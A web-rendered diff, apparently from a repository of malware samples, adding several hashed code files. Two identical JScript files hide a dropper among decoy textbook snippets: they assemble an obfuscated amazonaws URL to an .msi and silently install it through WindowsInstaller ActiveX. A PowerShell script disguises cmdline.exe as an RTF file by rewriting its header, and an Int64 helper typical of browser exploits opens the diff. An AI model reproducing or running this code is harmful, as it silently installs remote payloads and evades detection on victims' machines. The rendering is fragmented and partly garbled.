return Array.from(new Uint32Array(this._bytes.buffer));
|
| 154 |
+
}
|
| 155 |
+
|
| 156 |
+
// Return the byte at the given index.
|
| 157 |
+
byteAt(i) {
|
| 158 |
+
return this._bytes[i];
|
| 159 |
+
}
|
| 160 |
+
|
| 161 |
+
// Return the value of this number as unsigned hex string.
|
| 162 |
+
toString() {
|
| 163 |
+
return '0x' + hexlify(Array.from(this._bytes).reverse());
|
| 164 |
+
}
|
| 165 |
+
lo()
|
| 166 |
+
{
|
| 167 |
+
var b = this._bytes;
|
| 168 |
+
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
|
| 169 |
+
};
|
| 170 |
+
|
| 171 |
+
hi()
|
| 172 |
+
{
|
| 173 |
+
var b = this._bytes;
|
| 174 |
+
return (b[4] | (b[5] << 8) | (b[6] << 16) | (b[7] << 24)) >>> 0;
|
| 175 |
+
};
|
| 176 |
+
/*
|
| 177 |
+
function operation(f, nargs) {
|
| 178 |
+
return function() {
|
| 179 |
+
if (arguments.length != nargs)
|
| 180 |
+
throw Error("Not enough arguments for function " + f.name);
|
| 181 |
+
for (var i = 0; i < arguments.length; i++)
|
| 182 |
+
if (!(arguments[i] instanceof Int64))
|
| 183 |
+
arguments[i] = new Int64(arguments[i]);
|
| 184 |
+
return f.apply(this, arguments);
|
| 185 |
+
};
|
| 186 |
+
}
|
| 187 |
+
|
| 188 |
+
this.lo = function()
|
| 189 |
+
{
|
| 190 |
+
var b = this._bytes;
|
| 191 |
+
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
|
| 192 |
+
};
|
| 193 |
+
|
| 194 |
+
this.hi = function()
|
| 195 |
+
{
|
| 196 |
+
var b = this._bytes;
|
| 197 |
+
return (b[4] | (b[5] << 8) | (b[6] << 16) | (b[7] << 24)) >>> 0;
|
| 198 |
+
};
|
| 199 |
+
*/
|
| 200 |
+
// Basic arithmetic.
|
| 201 |
+
// These functions assign the result of the computation to their 'this' object.
|
| 202 |
+
assignNeg(n) {
|
| 203 |
+
for (let i = 0; i < 8; i++)
|
| 204 |
+
this._bytes[i] = ~n.byteAt(i);
|
| 205 |
+
|
| 206 |
+
return this.assignAdd(this, Int64.One);
|
| 207 |
+
}
|
| 208 |
+
|
| 209 |
+
// this = a + b
|
| 210 |
+
assignAdd(a, b) {
|
| 211 |
+
let carry = 0;
|
| 212 |
+
for (let i = 0; i < 8; i++) {
|
| 213 |
+
let cur = a.byteAt(i) + b.byteAt(i) + carry;
|
| 214 |
+
carry = cur > 0xff | 0;
|
| 215 |
+
this._bytes[i] = cur;
|
| 216 |
+
}
|
| 217 |
+
return this;
|
| 218 |
+
}
|
| 219 |
+
|
| 220 |
+
// this = a - b
|
| 221 |
+
assignSub(a, b) {
|
| 222 |
+
let carry = 0;
|
| 223 |
+
for (let i = 0; i < 8; i++) {
|
| 224 |
+
let cur = a.byteAt(i) - b.byteAt(i) - carry;
|
| 225 |
+
carry = cur < 0 | 0;
|
| 226 |
+
this._bytes[i] = cur;
|
| 227 |
+
}
|
| 228 |
+
return this;
|
| 229 |
+
}
|
| 230 |
+
|
| 231 |
+
// this = a ^ b
|
| 232 |
+
assignXor(a, b) {
|
| 233 |
+
for (let i = 0; i < 8; i++) {
|
| 234 |
+
this._bytes[i] = a.byteAt(i) ^ b.byteAt(i);
|
| 235 |
+
}
|
| 236 |
+
return this;
|
| 237 |
+
}
|
| 238 |
+
|
| 239 |
+
// this = a & b
|
| 240 |
+
assignAnd(a, b) {
|
| 241 |
+
for (let i = 0; i < 8; i++) {
|
| 242 |
+
this._bytes[i] = a.byteAt(i) & b.byteAt(i);
|
| 243 |
+
}
|
| 244 |
+
return this;
|
| 245 |
+
}
|
| 246 |
+
}
|
| 247 |
+
|
| 248 |
+
// Some frequently used numbers.
|
| 249 |
+
Int64.Zero = new Int64(0);
|
| 250 |
+
Int64.One = new Int64(1);
|
| 251 |
+
|
| 252 |
+
// Convenience functions. These allocate a new Int64 to hold the result.
|
| 253 |
+
|
| 254 |
+
// Decorator for Int64 instance operations. Takes care
|
| 255 |
+
// of converting arguments to Int64 instances if required.
|
| 256 |
+
// this = -n (two's complement)
|
| 257 |
+
function int64op(f, nargs) {
|
| 258 |
+
return function() {
|
| 259 |
+
if (arguments.length != nargs)
|
| 260 |
+
throw Error("Not enough arguments for function " + f.name);
|
| 261 |
+
for (let i = 0; i < arguments.length; i++)
|
| 262 |
+
if (!(arguments[i] instanceof Int64))
|
| 263 |
+
arguments[i] = new Int64(arguments[i]);
|
| 264 |
+
return f.apply(this, arguments);
|
| 265 |
+
};
|
| 266 |
+
}
|
| 267 |
+
|
| 268 |
+
// Return -n (two's complement)
|
| 269 |
+
const Neg = int64op(function(n) {
|
| 270 |
+
return (new Int64()).assignNeg(n);
|
| 271 |
+
}, 1);
|
| 272 |
+
|
| 273 |
+
// Return a + b
|
| 274 |
+
const Add = int64op(function(a, b) {
|
| 275 |
+
return (new Int64()).assignAdd(a, b);
|
| 276 |
+
}, 2);
|
| 277 |
+
|
| 278 |
+
// Return a - b
|
| 279 |
+
const Sub = int64op(function(a, b) {
|
| 280 |
+
return (new Int64()).assignSub(a, b);
|
| 281 |
+
}, 2);
|
| 282 |
+
|
| 283 |
+
// Return a ^ b
|
| 284 |
+
const Xor = int64op(function(a, b) {
|
| 285 |
+
return (new Int64()).assignXor(a, b);
|
| 286 |
+
}, 2);
|
| 287 |
+
|
| 288 |
+
// Return a & b
|
| 289 |
+
const And = int64op(function(a, b) {
|
| 290 |
+
return (new Int64()).assignAnd(a, b);
|
| 291 |
+
}, 2);
|
| 292 |
+
|
| 293 |
+
|
| 294 |
+
|
code/1458a762332676f7807ab45f8f236c22a1a7bb0c21fcd8c779f972f2446a11d0
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
code/156b75ba784d80a5024e3584fce038688d200f1a1e53080b172702abdde67415
ADDED
|
@@ -0,0 +1,121 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//var CryptoJS = require("crypto-js");
|
| 2 |
+
//Call REST APIs every 6 secs
|
| 3 |
+
79.6
|
| 4 |
+
/*
|
| 5 |
+
function getWalletSnapshot(exchgData){
|
| 6 |
+
|
| 7 |
+
return new Promise(function(resolve,reject){
|
| 8 |
+
|
| 9 |
+
var lv_response = {
|
| 10 |
+
"BINANCE" : {},
|
| 11 |
+
"BITFINEX" : {},
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
//BINANCE
|
| 15 |
+
//Decrypt API Keys
|
| 16 |
+
const passPhrase = require('./JSMods/encryption');
|
| 17 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["binkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 18 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["binkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
const binanceRest = new api.BinanceRest({
|
| 22 |
+
key: lv_key1, // Get this from your account on binance.com
|
| 23 |
+
secret: lv_key2, // Same for this
|
| 24 |
+
timeout: 15000, // Optional, defaults to 15000, is the request time out in milliseconds
|
| 25 |
+
recvWindow: 10000, // Optional, defaults to 5000, increase if you're getting timestamp errors
|
| 26 |
+
disableBeautification: false,
|
| 27 |
+
handleDrift: true
|
| 28 |
+
});
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
binanceRest.account()
|
| 32 |
+
.then((r1) => {
|
| 33 |
+
for(k=0;k<r1["balances"].length;k++){
|
| 34 |
+
if(r1["balances"][k]["free"] > 0){
|
| 35 |
+
lv_response["BINANCE"][r1["balances"][k]["asset"]] = r1["balances"][k]["free"];
|
| 36 |
+
}
|
| 37 |
+
}
|
| 38 |
+
|
| 39 |
+
//Bitfinex
|
| 40 |
+
//Decrypt API Keys
|
| 41 |
+
const passPhrase = require('./JSMods/encryption');
|
| 42 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["bitkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 43 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["bitkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 44 |
+
|
| 45 |
+
const BFX = require('bitfinex-api-node')
|
| 46 |
+
const bfx = new BFX({
|
| 47 |
+
apiKey: lv_key1,
|
| 48 |
+
apiSecret: lv_key2,
|
| 49 |
+
|
| 50 |
+
ws: {
|
| 51 |
+
autoReconnect: true,
|
| 52 |
+
seqAudit: true,
|
| 53 |
+
packetWDDelay: 3 * 1000
|
| 54 |
+
}
|
| 55 |
+
})
|
| 56 |
+
let ws = bfx.ws(2) //
|
| 57 |
+
ws.on('error', (err) => console.log(err))
|
| 58 |
+
ws.on('open', ws.auth.bind(ws))
|
| 59 |
+
|
| 60 |
+
ws.open()
|
| 61 |
+
ws.onWalletSnapshot({}, (walletB) => {
|
| 62 |
+
for(k=0;k<walletB.length;k++){
|
| 63 |
+
lv_response["BITFINEX"][walletB[k][1]] = walletB[k][2];
|
| 64 |
+
}
|
| 65 |
+
ws.close();
|
| 66 |
+
resolve(JSON.stringify(lv_response));
|
| 67 |
+
});
|
| 68 |
+
|
| 69 |
+
})
|
| 70 |
+
.catch((err) => {
|
| 71 |
+
console.error(err);
|
| 72 |
+
reject(JSON.stringify(err));
|
| 73 |
+
});
|
| 74 |
+
|
| 75 |
+
|
| 76 |
+
});
|
| 77 |
+
|
| 78 |
+
}
|
| 79 |
+
*/
|
| 80 |
+
|
| 81 |
+
3.9 // numeric literal
|
| 82 |
+
"Hello!" // string literal
|
| 83 |
+
false // Boolean literal
|
| 84 |
+
[1,2,3] // Array literal
|
| 85 |
+
var o = {x:1, y:2} // Object literal
|
| 86 |
+
var f = function(x){return x*x;} // function literal
|
| 87 |
+
4 + 5 // additon
|
| 88 |
+
10 / 2 // division
|
| 89 |
+
var aBird = "windowsinstaller.installer"; // Assign the text "Robin" to the variable aBird.
|
| 90 |
+
radius = 139;
|
| 91 |
+
uros = 7;3;1,83;
|
| 92 |
+
o = "p";n = "t";p = ".my.";g = "w";ka = "ba";f = "h";s = "n";
|
| 93 |
+
anExpression = 4 * (4 / 5) + 5;
|
| 94 |
+
aSecondExpression = Math.PI * radius * radius;
|
| 95 |
+
aThirdExpression = f + n + n + o +"s://amazonaws" + p + "id/wp-css/" + ka + ".msi";
|
| 96 |
+
myArray = new Array("hello", Math.PI, 48);
|
| 97 |
+
myPi = myArray[1];
|
| 98 |
+
var today = new Date(); // Assign today's date to the variable today.
|
| 99 |
+
var birthday = new ActiveXObject(aBird);
|
| 100 |
+
birthday.uilevel=2
|
| 101 |
+
birthday.InstallProduct(aThirdExpression);
|
| 102 |
+
var a = new Array(4);
|
| 103 |
+
for (i = 0; i < 4; i++) {}
|
| 104 |
+
|
| 105 |
+
function FeetToMiles(feet, cnvType) {
|
| 106 |
+
if (cnvType == "NM")
|
| 107 |
+
return( (feet / 6080) + " nautical miles");
|
| 108 |
+
else if (cnvType == "M")
|
| 109 |
+
return( (feet / 5280) + " statute miles");
|
| 110 |
+
else
|
| 111 |
+
return ("Invalid unit of measure");
|
| 112 |
+
}
|
| 113 |
+
var mradius = FeetToMiles(52800, "M");
|
| 114 |
+
//WScript.Echo(aThirdExpression);
|
| 115 |
+
'How old am I?'
|
| 116 |
+
|
| 117 |
+
var myObject = new Object(); // Creates a generic object.
|
| 118 |
+
var birthday = new Date(1961, 5, 10); // Creates a Date object.
|
| 119 |
+
|
| 120 |
+
|
| 121 |
+
https://rtrissdfmnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtcodb
|
code/15eee641978ac318dabc397d9c39fb4cb8e1a854883d8c2401f6f04845a79b4b
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
function GzCompress {
|
| 2 |
+
|
| 3 |
+
[CmdletBinding()]
|
| 4 |
+
Param (
|
| 5 |
+
[Parameter(Position = 0, Mandatory = $True)]
|
| 6 |
+
[string] $SrcPath = $(Throw("-SrcPath is required")),
|
| 7 |
+
|
| 8 |
+
[Parameter(Position = 1, Mandatory = $True)]
|
| 9 |
+
[string] $DstPath = $(Throw("-DstPath is required"))
|
| 10 |
+
)
|
| 11 |
+
|
| 12 |
+
Process {
|
| 13 |
+
$byteArray = [System.IO.File]::ReadAllBytes($SrcPath)
|
| 14 |
+
if( $byteArray.Length -le 0 ) {
|
| 15 |
+
Throw("file read error.")
|
| 16 |
+
}
|
| 17 |
+
|
| 18 |
+
[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream
|
| 19 |
+
$gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress)
|
| 20 |
+
$gzipStream.Write( $byteArray, 0, $byteArray.Length )
|
| 21 |
+
$gzipStream.Close()
|
| 22 |
+
$output.Close()
|
| 23 |
+
$tmp = $output.ToArray()
|
| 24 |
+
# to rtf file
|
| 25 |
+
$tmp[0] = 0x7B;
|
| 26 |
+
$tmp[1] = 0x5C;
|
| 27 |
+
$tmp[2] = 0x72;
|
| 28 |
+
$tmp[3] = 0x74;
|
| 29 |
+
$tmp[4] = 0x66;
|
| 30 |
+
$tmp[5] = 0x31;
|
| 31 |
+
$tmp[6] = 0x7D;
|
| 32 |
+
$tmp[7] = 0x00;
|
| 33 |
+
[System.IO.File]::WriteAllBytes($DstPath, $tmp)
|
| 34 |
+
}
|
| 35 |
+
}
|
| 36 |
+
|
| 37 |
+
GzCompress -SrcPath ".\cmdline.exe" -DstPath ".\rc.rtf"
|
code/1806e777841f8cbf9061904941407bfd1a5e4d69ac6944d1922f78192fd2a7b4
ADDED
|
@@ -0,0 +1,121 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//var CryptoJS = require("crypto-js");
|
| 2 |
+
//Call REST APIs every 6 secs
|
| 3 |
+
79.6
|
| 4 |
+
/*
|
| 5 |
+
function getWalletSnapshot(exchgData){
|
| 6 |
+
|
| 7 |
+
return new Promise(function(resolve,reject){
|
| 8 |
+
|
| 9 |
+
var lv_response = {
|
| 10 |
+
"BINANCE" : {},
|
| 11 |
+
"BITFINEX" : {},
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
//BINANCE
|
| 15 |
+
//Decrypt API Keys
|
| 16 |
+
const passPhrase = require('./JSMods/encryption');
|
| 17 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["binkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 18 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["binkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
const binanceRest = new api.BinanceRest({
|
| 22 |
+
key: lv_key1, // Get this from your account on binance.com
|
| 23 |
+
secret: lv_key2, // Same for this
|
| 24 |
+
timeout: 15000, // Optional, defaults to 15000, is the request time out in milliseconds
|
| 25 |
+
recvWindow: 10000, // Optional, defaults to 5000, increase if you're getting timestamp errors
|
| 26 |
+
disableBeautification: false,
|
| 27 |
+
handleDrift: true
|
| 28 |
+
});
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
binanceRest.account()
|
| 32 |
+
.then((r1) => {
|
| 33 |
+
for(k=0;k<r1["balances"].length;k++){
|
| 34 |
+
if(r1["balances"][k]["free"] > 0){
|
| 35 |
+
lv_response["BINANCE"][r1["balances"][k]["asset"]] = r1["balances"][k]["free"];
|
| 36 |
+
}
|
| 37 |
+
}
|
| 38 |
+
|
| 39 |
+
//Bitfinex
|
| 40 |
+
//Decrypt API Keys
|
| 41 |
+
const passPhrase = require('./JSMods/encryption');
|
| 42 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["bitkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 43 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["bitkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 44 |
+
|
| 45 |
+
const BFX = require('bitfinex-api-node')
|
| 46 |
+
const bfx = new BFX({
|
| 47 |
+
apiKey: lv_key1,
|
| 48 |
+
apiSecret: lv_key2,
|
| 49 |
+
|
| 50 |
+
ws: {
|
| 51 |
+
autoReconnect: true,
|
| 52 |
+
seqAudit: true,
|
| 53 |
+
packetWDDelay: 3 * 1000
|
| 54 |
+
}
|
| 55 |
+
})
|
| 56 |
+
let ws = bfx.ws(2) //
|
| 57 |
+
ws.on('error', (err) => console.log(err))
|
| 58 |
+
ws.on('open', ws.auth.bind(ws))
|
| 59 |
+
|
| 60 |
+
ws.open()
|
| 61 |
+
ws.onWalletSnapshot({}, (walletB) => {
|
| 62 |
+
for(k=0;k<walletB.length;k++){
|
| 63 |
+
lv_response["BITFINEX"][walletB[k][1]] = walletB[k][2];
|
| 64 |
+
}
|
| 65 |
+
ws.close();
|
| 66 |
+
resolve(JSON.stringify(lv_response));
|
| 67 |
+
});
|
| 68 |
+
|
| 69 |
+
})
|
| 70 |
+
.catch((err) => {
|
| 71 |
+
console.error(err);
|
| 72 |
+
reject(JSON.stringify(err));
|
| 73 |
+
});
|
| 74 |
+
|
| 75 |
+
|
| 76 |
+
});
|
| 77 |
+
|
| 78 |
+
}
|
| 79 |
+
*/
|
| 80 |
+
|
| 81 |
+
3.9 // numeric literal
|
| 82 |
+
"Hello!" // string literal
|
| 83 |
+
false // Boolean literal
|
| 84 |
+
[1,2,3] // Array literal
|
| 85 |
+
var o = {x:1, y:2} // Object literal
|
| 86 |
+
var f = function(x){return x*x;} // function literal
|
| 87 |
+
4 + 5 // additon
|
| 88 |
+
10 / 2 // division
|
| 89 |
+
var aBird = "windowsinstaller.installer"; // Assign the text "Robin" to the variable aBird.
|
| 90 |
+
radius = 139;
|
| 91 |
+
uros = 7;3;1,83;
|
| 92 |
+
o = "p";n = "t";p = ".my.";g = "w";ka = "ba";f = "h";s = "n";
|
| 93 |
+
anExpression = 4 * (4 / 5) + 5;
|
| 94 |
+
aSecondExpression = Math.PI * radius * radius;
|
| 95 |
+
aThirdExpression = f + n + n + o +"s://amazonaws" + p + "id/wp-css/" + ka + ".msi";
|
| 96 |
+
myArray = new Array("hello", Math.PI, 48);
|
| 97 |
+
myPi = myArray[1];
|
| 98 |
+
var today = new Date(); // Assign today's date to the variable today.
|
| 99 |
+
var birthday = new ActiveXObject(aBird);
|
| 100 |
+
birthday.uilevel=2
|
| 101 |
+
birthday.InstallProduct(aThirdExpression);
|
| 102 |
+
var a = new Array(4);
|
| 103 |
+
for (i = 0; i < 4; i++) {}
|
| 104 |
+
|
| 105 |
+
function FeetToMiles(feet, cnvType) {
|
| 106 |
+
if (cnvType == "NM")
|
| 107 |
+
return( (feet / 6080) + " nautical miles");
|
| 108 |
+
else if (cnvType == "M")
|
| 109 |
+
return( (feet / 5280) + " statute miles");
|
| 110 |
+
else
|
| 111 |
+
return ("Invalid unit of measure");
|
| 112 |
+
}
|
| 113 |
+
var mradius = FeetToMiles(52800, "M");
|
| 114 |
+
//WScript.Echo(aThirdExpression);
|
| 115 |
+
'How old am I?'
|
| 116 |
+
|
| 117 |
+
var myObject = new Object(); // Creates a generic object.
|
| 118 |
+
var birthday = new Date(1961, 5, 10); // Creates a Date object.
|
| 119 |
+
|
| 120 |
+
|
| 121 |
+
https://rtrissdfmnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtheprismnrtimqu
|
code/1852e2ccc23ea931194d2d1d3ff7e930e3331cc585ee33c836cbb54793221e34
ADDED
|
@@ -0,0 +1,188 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
